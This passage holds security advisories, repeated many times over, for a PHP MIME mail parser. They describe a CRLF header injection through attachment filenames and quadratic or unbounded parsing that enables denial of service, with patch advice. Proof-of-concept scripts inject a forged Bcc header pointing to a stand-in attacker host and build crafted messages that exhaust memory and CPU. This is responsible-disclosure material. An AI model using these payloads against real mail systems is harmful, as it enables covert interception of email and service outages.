        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
